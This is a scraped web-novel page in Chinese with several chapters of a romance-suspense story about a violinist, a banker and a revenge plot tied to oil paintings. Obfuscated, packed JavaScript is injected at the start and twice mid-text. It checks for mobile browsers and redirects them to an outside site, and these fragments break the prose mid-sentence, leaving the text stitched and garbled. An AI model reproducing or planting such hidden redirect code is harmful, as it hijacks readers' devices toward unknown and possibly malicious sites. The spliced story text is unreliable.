l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102860|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吹开的树顶积雪一样散落融化,只余下零星冰粒。可寒冷并未散去,她依旧情绪低落。 “这段时间你就跟我一起住,”林菀摸摸她的头发,“等恢复好心情再搬回去。” 涂淼嗯了一声,还要说什么,却见徐箴言回来了。 他一边挂断电话,一边坐进车里,将糕点和饭团递过来,“我朋友打听到消息,孟豪招了,他和庞涛是表兄弟。庞涛跟他吃饭时提到你们俩——” “他记恨我和涂淼?”林菀瞬间猜到。 “嗯。”徐箴言拧开矿泉水瓶递过去,“他认为你们俩瞧不起他。” 林菀默然几秒,“确实第一次见面时,我便厌恶他。” “我也讨厌他。就他那个德行,谁能不讨厌他?可我们并没有瞧不起他。讨厌跟瞧不起是两回事。”涂淼说,“然后呢?” “孟豪见到你们去吃饭,便跟庞涛通气,商量好制造交通意外来报复。孟豪没出面,是他同乡朋友出面。年轻人没怎么读书,以前混街头讲义气,到最后进局子都没把这两人抖出来。事后庞涛给了这家五万现金。” 徐箴言顿了顿,又看向涂淼,“后来他打听出来他和你的合作黄了是我多言,而且现在你的理财经理是我介绍的,便又怀恨在心。正好他走关系将孟豪塞进后厨,这便又派上用场了。警察估计明天会通知我们。”他的语气平静,仿佛在说另一个人的故事。 涂淼一言不发地听着,突然开口道:“卑鄙小人,死了是为民除害。” “他这种极端报复心理,会不会跟梅毒入脑有关?”林菀问。 “可能吧。”徐箴言自己的水还一口没喝,只顾着从手套箱找到湿纸巾递过去,“这会导致精神失常,情绪不稳定。” 林菀依旧有些心神不宁。她觉得事情……隐隐约约似乎解决得过于顺利。一下子,两件涉及生命危险的事情都被说得明明白白。可真的是这样吗?细细思考,唯二没被牵扯进来的是——林珠莉车里的尖吻蝮,这可以用蛇自己爬进去来解释;以及林乃岳艺术基金会前任经理的意外醉酒闷死,这也能用他自己大意马虎来解释。 难不成……是她多虑了? 这时,林菀的手机响了,是十六楼报警老太太的女儿来电,说老太太回家时披着徐箴言的外套,想把衣服送回来。 “没事,我们还在外面,可以顺路过来拿,您不用出门。”林菀跟对方说了几句,挂断电话。 “又要回那个地方?”涂淼问。 “嗯,箴言你陪着涂淼在楼下等我。”林菀对徐箴言说。她不愿意让涂淼再次回到十六楼,可单独将她留在楼下也不放心。她需要徐箴言看住涂淼,一旦涂淼再次出现幻觉,那么徐箴言能帮忙,而不是像她那样,被力气大的涂淼直接甩开。 …… 重新回到商业楼下,这里已经恢复平静,广场上有人群在热闹地跳舞,只有戏剧院的大门紧闭,禁止无关人员进出。 林菀抓紧时间来到十六楼,发现庞涛家大门敞开,有警察出入。她敲了敲老太太家的大门,忍不住回头看去。 庞涛的家是简单的两室一厅,卧室门也被打开。大风阵阵,浓重的香水味传来,是庞涛惯用的香水味道,估计是香水瓶子打破了。 在这浓重的香水味里,林菀看向他卧室露出来的一面墙。那里挂着一幅油画,浓墨重彩,颜色丰富,具有明显的立体主义特色,又杂糅了表现主义风格,线条夸张变形,叠加种种特殊符号和轮廓,整体抽象怪诞,扭曲诡异。 这幅画就仿佛是画家在学习毕加索、蒙克等著名画家之后,将所有绘画特色杂糅到一起形成的四不像,既没有本人艺术风格,又没有大家风范。 而这幅画,就挂在庞涛床头。 林菀突然觉得一阵寒气从脚底爬起——为何这里出现了油画? 44. 徐雯的决定 周末后上班第一天,徐箴言端着咖啡走进办公室,突然发现那些踩点上班的同事竟然都到了,而且统统围在他的位置旁边。他的到来让大家突然骚动起来。 “哎呀,你终于来了!”同事陈姐挤过来一把将他拉过去,“快说说到底怎么一回事?” 徐箴言立即将另一只端着咖啡的手挪远,免得热咖啡泼到她身上,“警方通告已经出来了,你们没看群里消息?”他发现对面和庞涛有过交集的几个同事都拿着酒精消毒液一顿乱喷,然后用湿纸巾搓澡似的狂擦桌面。 “有不为人知的内情讲讲吗?”一个对面办公区的同事拎着便利店三明治在这里凑热闹,“庞涛得梅毒多久了?” “不清楚。”徐箴言将笔记本电脑掏出来。 “我早就看出来他这里有毛病了,没想到梅毒还能攻击大脑啊。”另一个人点了点自己的脑袋,“之前一起出差坐高铁,后排的乘客看了他几眼,他就觉得人聊天是在内涵他,起身就骂人。得亏人家脾气好不追究,我们才没被乘警带走。” “你还别说,他私下有时说话思路真无法理解,挺走极端。上次大家聊一个家暴新闻,他开玩笑说男的打人打早了,既然女方已经怀孕,那就应该等到六个月哺乳期后再打。这时候孩子可以断奶,所以下手再狠都无所谓……哪个脑子没毛病的男人会说这种话?” “我呸,他就该死!太晦气了!” “哎,自己品行不端让客户给拒了就报复这个报复那个的,阴差阳错害了老杜。”一个女同事说,“他表弟找人撞车时提到的客户孙某和其朋友王某到底是谁?”这都是警方公布的化名。 “这种消息怎么能透漏。”徐箴言打断她的话。 “不管如何,庞涛就是为了钱不择手段,对吧?” “嘿,人可有钱了,最近还研究艺术品买卖与收藏呢。”隔壁同事一边啃三明治一边说。 这话突然吸引了徐箴言的注意力。他放下手里的文件,“什么艺术品?” “我也就路过庞涛工位时无意瞥了一眼,看到他在平板上看什么油画拍卖直播,都是上千万的油画。” 徐箴言思考了一下,不动声色地问:“林乃岳的?” “谁?”同事有些茫然。 陈姐平时带小孩去绘画艺术班,对油画了解一二,“哎呀,林乃岳是很有名的画家,你去搜搜。他女儿也厉害,好像是莱音的首席钢琴家。” “交响乐团的首席只能是小提琴,不是钢琴。林菀是乐团成立至今最年轻的小提琴首席。”徐箴言立即接话。 陈姐诧异地看了看他,拍拍他的胳膊打趣道:“了解得这么详细?没看出你这么喜欢音乐哪。” 徐箴言笑了笑,不置可否。 倒是旁边一直听大家讲话的实习生小苏望着徐箴言默默眨巴了下眼睛。 …… 下班,徐箴言与林菀约好在徐雯家小区门口见面。虽说平时要避嫌,但在徐雯这里,他们无法避嫌。 第一次正式见徐箴言的姐姐,林菀特意买了徐雯喜欢的鲜花,又跟徐箴言一起挑了其他礼品,连蕊蕊的玩具都考虑到了。 而蕊蕊一大早就踩着板凳趴在阳台上张望,一看到舅舅和兔子阿姨从车里出来,她立马跑回去得意地通风报信。 为了显示重视,徐箴言的姐夫也特意在出差的间隙从外地飞回来,在家短暂地休息一天。大家体面而热情地迎接了林菀,一起到主客厅聊天。 保姆阿姨出门扔垃圾还未回来,徐雯便到厨房切水果。瞧着姐夫很感兴趣地跟林菀聊音乐,颇有点志同道合的意味,徐箴言便放心地去厨房帮忙。 “礼物买太多,你也不拦着点,让她破费了。”徐雯看了看放在餐桌上的礼物,有点责怪弟弟。而蕊蕊正坐在桌边地上很开心地拆她的垂耳兔毛绒玩偶礼物。 “没事。”徐箴言挽起袖子清洗葡萄,“她很喜欢你。” “那是因为爱屋及乌,心里装的都是你,所以才对我另眼相待。”徐雯手下顿了顿,侧头看向弟弟,“你们银行是不是最近不太平?” “嗯。”徐箴言没想全部瞒着姐姐。警方公告加上社交媒体传播,本地人几乎都有所耳闻。 “里面说的那个差点被下毒的董先生是谁?” “隔壁部门一个同事。” 徐雯沉默几秒,慢慢地放下水果刀,哈密瓜也不切了,“到底要怎样,你才肯跟我说你就是公告里的董先生?”她是在商界沉浮的职业女性,不是消息闭塞孤陋寡闻的隐居人。她还是银行的大客户,怎么可能不知道银行秘闻真相? “我现在算是明白了, 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徐箴言点点头,稍作思索便问:“你呢?” 徐雯停顿稍许,心跳发沉,但还是咬着牙说出来:“我也打算过去,公司本就在开拓国外市场,国内部分就交给职业经理人。” 徐箴言垂眸定了片刻,回神仍旧轻轻一笑,“去吧,我在内地挺好的。”简单一句话,已经胜过千言万语,他支持姐姐的决定,也说明他的生活方向。 “跟我们一起去新加坡,好不好?”徐雯立即问,她心里还有某种希冀。 “我以后也会有自己的家庭,不是吗?”徐箴言轻轻地微笑反问,此刻的徐雯在他眼里就跟蕊蕊一样需要哄着对待,“我的人生伴侣就在客厅等我。” 一刹那间,徐雯什么都明白了。她不能强求徐箴言依偎于自己的羽翼之下。她与徐箴言终究是两列火车,起初停在相同的车站,可最终彼此都有不同的轨道。 林菀被蕊蕊拖来餐厅倒腾垂耳兔玩具,听到了寥寥几句对话。她站在多宝架边,望着徐箴言的背影。那颀长的身材此时显得清瘦而寂寥。 她多想给他一个拥抱。 若等徐雯一家三口离开,徐箴言便只有她一个人了。 从此以后,他只有她一人。 45. 重返现实世界 从徐雯家出来,已经是九点多。林菀说她喝了红酒,坐车有点晕,想搭地铁回去,徐箴言便陪她一起。而走去地铁站会经过徐箴言曾经就读的高中——这才是林菀想搭地铁的真正用意。 “好多学生啊,你当年也是像他们这样吗?”林菀问。此时正好是晚自习后放学,门口学生多,都围绕在小摊贩那里买宵夜。 “没,放学就回家了。” “这些好吃的都不吸引你?” “那时候我姐正在创业,应酬多。我担心她喝多会出事,所以早点回去等她。”徐箴言平静地回忆。 “辛苦吗?”林菀抬头望着他的眼睛,“从以前到现在。”她酝酿了一个晚上,终于自然而然地提起这个话题。 徐箴言笑了,他何其聪明,瞬间意识到开启此刻的谈话便是她执意选择步行经过学校的原因,但也不戳破。她既然想问,他便告诉她。“说不辛苦肯定是撒谎。可是我很心甘情愿地做那些事情。所以也并不觉得很难承受,只要她不出事就好。” “你肯定没跟她说过你在家等她的原因吧?她只知道你按时放学而已,不清楚你这么珍惜她。”林菀慢慢地说。她甚至觉得,如果徐雯为徐箴言考虑一点,都不会如此决绝地移民去新加坡。 徐箴言再次读懂了她话语里的含义。“她不光有我,还有蕊蕊。我早就成年了,可蕊蕊还小,她身体不好,为她考虑是应该。” “那你呢?” “我有你。”徐箴言向前一步,转身刮了刮她的鼻子,“这就是我能欣然接受他们移民的原因。” 不管如何,他还有林菀。 听到这话,林菀深深地呼吸着,想要控制鼻子的酸堵感。可几秒后,她还是忍不住将头靠到徐箴言肩头,闭上眼睛,让那股眼眸间的湿意慢慢消失在他衬衣领口间。 路灯下有太多学生。徐箴言不好做其他动作,只是轻轻地抚摸着她的头发,告诉她,不必为他担心,因为他早就释怀了。 当初,知道自己和姐姐的真实关系,是他最难受的时候。而那时,他选择远离莱城,参军去边疆。在那段最阴暗的日子里,是林菀突然出现,像久旱酷暑之后的甘霖,又像是连日暴雨后的阳光,滋润照亮了他的人生。 …… 等来到地铁站,人依旧很多。上了车也拥挤得没有座位。 长长的车厢慢慢地摆动着,林菀站在紧闭的车门前,被晃得头朝后扬去。徐箴言立即伸手垫在她脑后,就此一直让她靠着他的手,而不是冰凉的玻璃。 林菀抿抿嘴唇,忍不住盯着他的眼睛看。 “怎么?”他轻声问。 林菀摇摇头,没有说话,只是伸手抱紧他的腰。他对她好,是习惯成自然。 徐箴言站了一会儿,突然低声到她耳边说:“我明早可以调休。”至于调休的原因?从林菀家去银行,早高峰打车非常堵,而坐地铁也得至少一个半小时。 林菀慢慢红了脸,在他胸膛前摇摇头,也低声回复:“涂淼在我家。” 闻言,徐箴言半晌没说话,只是下车时无奈地叹了口气。 涂淼果真是好闺蜜。 …… 早上七点一刻,手机闹钟滴滴响起。 “涂淼,你是不是定闹钟了。”林菀抱着枕头,头塞在被子里。 房间里无人应答,而手机闹钟还在响。 “涂——”林菀揉着眼睛起身,第一眼便看到遮光窗帘下,画了好几个红圈的日历。这是她的工作日历。 林菀如梦初醒。在经历完一场大风波后,突然之间她回来了。 她略微愣神,有些不习惯,但还是匆匆忙忙地收拾妥当出门赶地铁。在公司楼下排队等待进电梯时,她终于慢慢找回那种普通上班的熟悉感。 “早啊,Nora。”曹磊一边打手机游戏一边走到林菀身边。他抬起头来,脚下一顿,奇怪地问:“干嘛这么看我?不认识了?” “……没有。”林菀回神。 “同志们!大八卦!”Maggie火急火燎地冲进来,喘得上气不接下气。她先四周张望了下,确定没有认识的同事,才压低声音道:“谭姐怀孕了!” “是她说的?”林菀立即问。谭姿怀孕,还是她发现了提醒的。她不认为谭姿会主动通知大家。 “谭姐连你都没告诉呐?”Maggie有些得意,“我在人事那边有人脉,估计过两天大家都会知道。怀孕嘛,肚子大起来瞒不住的。”谭姿去人事是为了询问产假和生育险的事情。 她又说:“难怪谭姐最近都不开车了,天天是老公接送。不光我看到过,法务部的Judy也看到过。” “你不是讨厌她么?”林菀问。 “难道你不觉得听到她那个高跟鞋声音都烦么?她呼吸过的空气我都觉得讨厌。”Maggie说完就瞧见Judy刷卡过来了,依旧踩着高跟鞋噔噔噔。于是Maggie回过头来朝林菀撇了撇嘴,转身热情地笑着迎过去,“Judy,嗨,亲爱的!早啊!” “谭姐啥时候休产假啊?”曹磊还在问,连游戏都忘了打,手机屏幕显示挂机被举报。 …… 办公室里,气氛隐隐约约跟以前不一样。在谭姿进来时,很多人一如既往地打招呼,可眼神都不自觉地扫过她宽松衣料遮住的腹部。看来,很多人都在暗地里知道了她怀孕的消息。 开完晨会从会议室出来时,窗外下起了噼里啪啦的大雨。林菀立即掏手机浏览微信联系人。 “怎么了?”Maggie问。 “打电话让我闺蜜关窗户。她呆在我家。”林菀说完才猛然意识到涂淼在这个世界压根不存在。她早就接受这个现实,此刻却突然一阵心慌。 而不等她恢复平静,谭姿匆匆从会议室走出来,听着电话,“好,我现在开车过去。”她话音刚落,已经在工位坐下但时刻注意谭姿动向的曹磊站起来,“谭姐,我能当司机——” 办公室里有些吵闹,谭姿没有注意到曹磊的毛遂自荐。她与林菀擦肩而过,匆匆留下一句话,“Nora,拿上电脑跟我出门。” …… 半个小时后,林菀开着公司的车,前往郊区一处静僻的度假酒店。车里后座坐着谭姿,一位别的部门的经理,一位从总裁办下来的代表。 “哎,没带雨伞。”那位经理望着窗外的大雨。 “车门夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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过去的无数天里,她半夜缩在被子里跟他语音聊天,约好在聊天时长88分挂断电话的记录在这个世界不存在。她听他讲工作见闻,洗澡时还擦手回“哈哈哈哈”的记录也没有。还有一天,她突然在下班时去了他家,而不知情的徐箴言出门跑步了。她在二楼的窗口遥望月色,远远地看到他五分钟就跑完十分钟的路程冲回来——她笑着拍下的那张照片更是无影无踪。 在这个世界,她什么也没有。前些天,她将自己从小到大的生活费折算后划给二叔的银行账号,跟他们也不来往了。 强烈的孤独与思念侵袭而来,她甚至有些颤抖。这一刻,她彻底体会到自己是蜉蝣一只,渺小地存在于广袤的天地间。孑然一身的生活曾经让她舒适自如,可突然之间有了真正的爱人、亲人和友人后,这样的温暖让她不愿再孤零零一个人。 林菀暗暗地咬牙发誓,她一定要将他们带过来。 “孩子,你往这边来。”一个保洁阿姨突然朝她招手,“小心掉到池子里去。” “谢谢您提醒。”她倏忽回神。 “林先生看到有人在这里,让我来说的。他很是喜欢那两只猫呢。” 林菀猛地转身朝她示意的方向看去,只看到一个在拐角一闪而过的背影。而此时她的手机也响起来,是谭姿来电,说已经跟林吾见好面了。 “您已经到停车场了?” “对,他送我们过来的。今天谈得非常顺利。” 46. 差点露馅 刚开完会,徐箴言还没从会议室出来就见实习生小苏匆匆折返。“徐老师,有人找。” 他有些诧异,现在已经快下班,而他没跟任何客户预约。等他回到办公室一看,原来是涂淼坐在他位上一边看刚发下来的季度奖杯,一边喝奶茶。 徐箴言扫了眼周围,果然发现大家都在若无其事地观察。有客户来见面是很寻常的事,但如涂淼这样自来熟便少见了。不过徐箴言并不在乎其他人的议论。 “怎么这个点儿过来?要找谁?我给你引荐。”他走过去,将文件放到桌上。 “找你一起吃晚饭。”涂淼将奶茶杯子丢进垃圾桶,“林菀没空搭理我,她练琴呢——你知道吗?”她试探地问。 “她没回我消息。我知道她肯定在练琴。等她结束一起吃饭吧。” 涂淼暗暗松了口气,旋即明白徐箴言所想,站起来摆摆手,“哎呀没事的,她早上说我闲来无聊就可以找你吃饭。林菀不会生气的。”她顿了顿,语气变得很伤感,“我只是最近心情不好,觉得自己人生坎坷。父母早没了,自己摸爬滚打,好不容易有点起色,又差点被人渣弄死……”她边说边打量徐箴言的神情。 今天晚上,她必须跟徐箴言一起吃饭,让他没时间跟林菀联系。 涂淼是昨晚发现林菀不见的。两人睡觉早,她起来上个厕所,回卧室就发现熟睡的林菀消失无踪。她当即就吓醒了,但回神后便立即想明白——林菀是去另一个世界了。 她知道林菀总会回来,可啥时候呢?这让她很担心。所以白天她就在焦虑中度过,一到下班点就跑来盯着徐箴言,以免他发现爱人失踪。 徐箴言不知她心中所想,瞧见她确实有些可怜,便拿起外套,顺着她的话问,“你想吃什么?” “火锅?法餐?”涂淼早就想好了,这俩不管吃啥都慢,“你选,我请客。” “火锅。”徐箴言是不可能跟涂淼吃气氛暧昧的法餐的,“林菀家附近有家店——” “去远点的。”涂淼毫不犹豫地打断。 徐箴言略有愕然,“你不回她家住了?”不过这正符合他的心意。 涂淼张了张嘴,发现自己找不出理由,只能干巴巴地笑了一下,“那、那就去她家附近吃吧。” …… 涂淼不对劲——这是徐箴言观察下来的结论。尽管她极力伪装,但他还是看出她强装镇定的外表下躁动不安的心。 徐箴言试图开口询问,但涂淼也很敏感,立即会叹气念叨“我父母没了,我白手起家,我被人渣陷害”,这让徐箴言头疼地无法问下去。 涂淼吃得很慢,一次只烫一点菜,直到十点多时她手机亮起,显示麦柯来电。 徐箴言对这个名字很敏感,而涂淼更加敏感。在徐箴言抬起头来的那一刹那,她就刷地拿起手机举到耳边,“说。” 麦柯被她的迅速吓了一跳,“涂老师,我就问问姐姐是不是跟你一起喝酒……” “对,怎么了?”涂淼将手机紧紧贴住耳朵,不让那边的声音漏出来,“你说的事情,我已经跟她讲过了。包括单位其他领导同事打的电话,我全部回复了,没有问题。”她指的是林菀在交响乐团的领导与同事。今天林菀的工作手机电话多,涂淼怕大家联系不到就上门找人,全部自作主张接听了。 “噢噢,我能跟姐姐说个话吗?她一直不接电话。”麦柯要沟通的不是交响乐团的工作,而是白天他带着商皓宸在林菀家吃了个闭门羹的事情。当时涂淼在屋里一声不吭地看着猫眼,假装家里没人,否则一开门就要扯谎解释,越解释越麻烦。 “喝酒没空啊。回头再联系,拜拜。”涂淼立即挂断电话。 对面的徐箴言放下筷子抽纸巾擦手,然后心平气和地问她:“林菀做什么去了?” 涂淼吓了一跳,脱口而出:“你怎么知道她不在家?” “刚刚不确定,现在确定了。”徐箴言说。 涂淼是一个没有上级的人,她自己就是老板,可讲电话竟然提到回复单位领导同事,能让她这么帮忙且有单位关系的只能是林菀。徐箴言没看到手机上的来电人姓名,但基于前面的思考,他能推测对方十有八九是林菀的助理麦柯。那个混小子一向不注意时间,大晚上打电话是他干得出来的事情。 既然麦柯都不知道林菀在干什么,还得打电话问涂淼,那么林菀极有可能不在家。 徐箴言给林菀家里打了个电话,果然无人接听。 “先吃虾滑吧……不急着联系她,给她打包回去就行了。”涂淼心虚地赔笑。 徐箴言没说话,他清楚涂淼知道林菀的去向。她还能在这里吃饭,就意味着林菀起码是安全的。他看了下时间,语气不容置疑,“吃完我送你回去。”这么晚了,他想去确认一下。 听他这样说,涂淼吃饭越来越慢,一方面是拖延时间,一方面是思考缓兵之计。但每每她苦情地开口“我父母没了”的时候,徐箴言都静静地看着她,满脸写着“请开始你的表演”。显然他是不吃这套了。 这个男人不好糊弄,涂淼暗暗地腹诽。他知道她会撒谎,所以连问都不问。涂淼硬着头皮吃火锅,直到塞满嗓子眼才放下筷子——论拖延时间,她真的尽力了。 徐箴言付钱取车,送她去林菀家。 涂淼坐在后排,呆滞地望着午夜的路口,满脑子都是等到林菀家,没有人该怎么办。而就在这时,她突然发现一个熟悉的人影从地铁口出现。 “天啦,林菀!快点停车,是林菀!”涂淼简直喜极而泣,拍着司机座椅。 而地铁站口,林菀浏览着微信里涂淼给她发的“99+”条信息,抬头就见涂淼范进中举似的狂笑着朝她冲过来,后面跟着徐箴言。 “你们——”她刚刚开口就被涂淼抱个满怀。 “我们刚刚吃火锅!缺了你,可没意思!”涂淼拼命朝她挤眼睛,林菀瞬间心领神会。 “这么晚,你去做什么了?”徐箴言走过来,悬着的心放下了。 “我在莱城的演出取消了。”林菀将手机放进兜里,故作镇定。这便是涂淼给她发的消息内容。 徐箴言很惊讶,“怎么回事?” “庞涛跳楼砸坏玻璃的那个戏剧院就是我们下个月的演出场所。”林菀说。那个戏剧院是莱城老牌戏剧院,甚至是省级保护历史建筑,交响乐团特意选择这里作为全国巡演的首个站点。如今距离开演只有不到一个月的时间。 林菀继续说道:“出了这事儿,监管部门调查说是有安全隐患,整个戏剧院要重新翻修。所以,我们原定整整一个半月的莱城演出要取消。唉,临时联系其他场馆也没合适的。最理想的解决办法是把莱城作为全国最后一站,等戏剧院尽快翻修完毕,在这里演出收尾。” 徐箴言完全能理解她的失望心情,他摸摸她的头发以示安慰,语气也变得温柔,“这是没办法的事,其他城市演出能顺利进行就是万幸……你心情不好,出去散心了?” 林菀挪开视线,点点头,暗地里羞愧地抓紧了衣襟。 “我能理解,每个人都需要独处时间。告诉我也没关系。”徐箴言说,虽然心里还是有些许怅然涂淼知道而他不知道。 “你最近很忙,不想再让你操心。” 徐箴言捏捏她的手,“太晚了,回去吧。明天我休息,过来看你。” 林菀望着他温柔的眼睛,明明他可以生气的,但是他没有,而且还在忙碌一天的情况下熬到现在也没回家。这一刻,她心里的阀门突然松动。“我其实——” 涂淼突然大喝一声:“哎!我大姨妈来了!”她的嗓门太大,另外两个人都愣住了。 徐箴言回神过来,立即说道:“那赶紧回去吧。” “嗯嗯,你也回家吧,不用送我们。”涂淼立即将车门打开,“明天见!”这时候她表现得再火急火燎都不会有人怀疑。 待徐箴言离开,涂淼立即将林菀拽离地铁口,一字一句地命令她,“听着,你一个字都不准跟他说,明白吗?” “继续把我的身份瞒下去有意义吗?他总会知道——” “在这个世界当小提琴家的就是你,这算瞒什么?首站一个半月的演出取消,要我说简直太好了!你又有大把时间练习——眼下方方面面都很顺利,别瞎折腾!” 林菀沉默着,不想在大马路上跟她吵架。 涂淼知道不能逼得太紧,放轻语气又问道:“在那边有什么新鲜事?” “我们公司跟一个画家的合作谈成功了,要作为赞助商参与他的画展。”林菀淡淡地说。 涂淼听着便皱起眉头,“怎么又是画家?” …… 第二天,是一个晴空万里的艳阳天。 麦柯哼着歌,背着他挂满勋章的单肩包,双手插裤兜里来找林菀。 他摁摁门铃,对着反光的瓷砖墙壁整理一下发型。开门的竟然是个男人,个子高挑,年轻俊朗。 这个人麦柯眼熟,见过不止一次了。 “你好,空调师傅。”他主动伸出手,“姐姐的空调又坏了?”既然林菀一直没否认,那就当空调师傅咯。 “姐姐”这两个字一出口,男人就眼神就变得微妙,然后才伸出手,“你好。” 麦柯下意识改口,“我们莱音小提琴首席林女士的空调又坏了?” 还真被他说对了。徐箴言喉头滚动,“……确实有点问题。”涂淼在这里住了几天,天天乱摁遥控器,搞得遥控器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102863|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点短路。“进来吧,想喝什么?” “有什么?” “茶、咖啡,”徐箴言扫了眼涂淼带过来的一堆酒,顺口说,“海风鸡尾酒。” “那我来一杯海风吧,要一根吸管,打一个结,柠檬片换橙子片,再加几片薄荷,蔓越莓汁少点,西柚汁多点,冰块来个五六块,别放太多,要不然容易拉肚子。算了,你给我做成去冰的吧。嗯,还是加冰块——不行,做去冰,啊啊啊,我要冰沙吧!噢,有樱桃的话就加个樱桃。” “……”徐箴言沉默了,看着麦柯没说话。 “咋了?” “还有要说的吗?”他起码值得一个“谢谢”吧? “你还会做别的鸡尾酒?蓝色夏威夷会吗?那也来一杯。” 徐箴言一口气噎住,转身就朝酒柜后的料理台走。他丝毫没脾气,怎么能有脾气呢?这是他自己多嘴提出来的。“你去琴房吧,她在卧室,待会就出来。” 此刻,涂淼出门去工作室了。而徐箴言过来得太早,林菀昨天把自己的东西扔得到处都是,刚刚紧急丢进卧室,正躲在卧室里心虚地火速收拾。 麦柯进了琴房,继续哼着歌,甚至在钢琴前坐下来摁了几下。 林菀急匆匆地进来,“早啊,你怎么来了?”今天没课程安排。 “昨天没按时上课,我来看看你。涂老师有没有跟你说下个月演出取消?她昨天又喝大了好像……可真不靠谱。”见林菀点头,麦柯满意地掏出手机看时间,这都快中午了。于是他压低声音悄悄问,“姐姐,要不然把那个空调师傅整走?咱俩吃饭去吧。附近新开了一家网红牛蛙店,听说味道不错。吃完咱们去看电影,朋友送我好几张电影票。” 林菀进来没关门,此时徐箴言就端着一杯鸡尾酒站在门口,他脸上有一种标准的客套的假笑。 “鸡尾酒好了,”他将酒杯放到桌上,“你放心大胆地喝。” 这话古里古怪的。麦柯听得满脸莫名其妙,咋了? “我不去看电影,我也不饿。”林菀连忙把徐箴言往门外推,然后火速逼麦柯喝完那杯鸡尾酒,送他出门。 “姐姐我明天再过来啊。”麦柯站在门口大喊,“那个牛蛙店——” “先别过来,有啥事儿回头再说!”林菀急得差点秃噜嘴。 关上门,她回头一看,徐箴言站在客厅里,皱着眉不知在思考什么。 麦柯可以说是他的心头之患,这小子没有眼力见,看外表显得单纯无辜又有点蠢,可偏偏时不时若无其事地在徐箴言的神经上踩一脚跳个舞。 “我去找他聊聊。”徐箴言说着就往门口走。此刻的他太不像平时冷静的风格。 “别去。”林菀连忙搂住他的胳膊,突然觉得有点好笑,可想笑又不敢笑,“他不是故意的。” “你放心,我很友好。” “当然,你是最善良的人,可是他不知道,他怕你。” “以前他就这样,没事总往你跟前凑。什么事情不能电话里沟通?又不是上课时间,非得上门。” “我马上叮嘱他注意上下级关系。”林菀认真地说,“好不好?” 徐箴言不吭声了,但没再提去跟麦柯聊聊。 林菀立即拿手机点微信找麦柯,刚巧看到涂淼建立的三人群弹出新动态——“天啦,看我发现了啥宝藏!@林菀@徐箴言,赶紧看!徒弟这么厉害,林菀去办大师班!”紧接着,涂淼发了一个抖音链接。 林菀打算继续找麦柯的对话框,却突然发现——“涂淼撤回信息了。” “我已经打开了。”徐箴言将手机凑到林菀跟前。涂淼发的是商皓宸的抖音,徐箴言不觉得这有什么好撤回的。 第一个置顶视频封面显示他是在卧室里练琴,徐箴言顺手点开了。 画面腾地跳出来,是商皓宸站在床前拎着琴。而他身后墙壁上贴着大大的海报,是林菀在演奏会当中的拉琴照片。这种海报大大小小有好多张,跟商皓宸喜欢的欧美电影海报一起张贴着。而书柜上最显眼的照片,是林菀给还是小不点的他颁奖。 这个视频热门评论第一条是:“海报上不会是你女朋友吧?姐弟恋?是的话我就划走了。” 而商皓宸的回复是两个字:林菀。 接下来显示作者赞过的评论都是—— “林菀是大神啊,希望帅哥追梦成功!” “有一天会看到小商和林菀一起演奏么?” “小商经常去听林菀的音乐会吧,我见到过,当时还想哪儿来的漂亮男孩。” 而此刻,依偎在徐箴言身边的林菀明显感觉气氛又不对劲了。 徐箴言缓缓深吸一口气,放下手机问林菀,“又来一个?商皓宸?” 47. 商皓宸的抖音 工作日,午餐时间。 银行斜对面商场的西餐厅里,徐箴言还在浏览商皓宸发的视频。 一个同事点好套餐,回头看到徐箴言在看抖音,“这什么小爱豆?奇装异服,还拉小提琴。” 他说的是商皓宸的抖音。商皓宸粉丝不少,有好几万。他发的大部分都是练琴视频,少部分则关于他和朋友出去玩,在家制作音乐,或者摆弄手办。 从视频封面来看,他和朋友们确实个顶个的时尚达人。他练琴的穿着也挺标新立异,而小提琴又是古典的,这种冲突感互相交融,达到一种奇妙的融合感。 徐箴言笑了笑,没有说话,将手机息屏反扣到桌上。此刻餐食还没上来,大家都在闲聊。 “这房子是不是庞涛的啊?”应届生小苏突然冒出一句话,吸引众人注意力。她才工作不久,微信加了不少莱城的房屋中介,天天发租售信息。 “我看看!”一个眼尖的同事立即抓过她的手机。 那是一条房屋中介发的售房信息,房屋位置正好在庞涛出事的那栋大厦十六楼,但价格却在那一片的高价里砸了个底朝天,中介说是因为屋主急着脱手。 “听说庞涛的姐姐从榆乡过来给他处理后事——” “这就是他的房子!出了事的屋子自己人都不敢住,还想卖呢?赔本都难脱手。” 徐箴言的注意力却被中介拍的室内图片吸引——卧室里,床头上方挂着一幅浓墨重彩的抽象派油画。他抬头问小苏,“能把这张照片发给我吗?” “好呀。”小苏说。 “谢谢。” 离上菜还有点时间,徐箴言拿着手机起身,“你们先聊,我出去打个电话。” 来到商场走廊上,他先是点开小苏发过来的那张床头油画照片仔细端详许久,然后重新点开商皓宸的抖音。 在商皓宸和朋友居家聚会的视频里,有一幅挂在主客厅的油画一闪而过。徐箴言虽然对当代油画圈不太关注,可凭借经年练习,瞬间便意识到这幅油画跟庞涛家里的那幅画在用色偏好、绘画技巧方面有很多相似之处。 有可能,这两幅画出自一个画家之手。 他盯着下一层中央滑冰场里来回穿梭的滑冰爱好者身影,手指下意识摩擦着手机侧面按键。思考半晌,他给好友江小姗拨了一个电话。“忙吗……帮我去看个房子,不是真买,主要看一幅油画……需要的话可能得买下那幅画……” 而另一边,林菀家楼下的繁寓路地铁站。 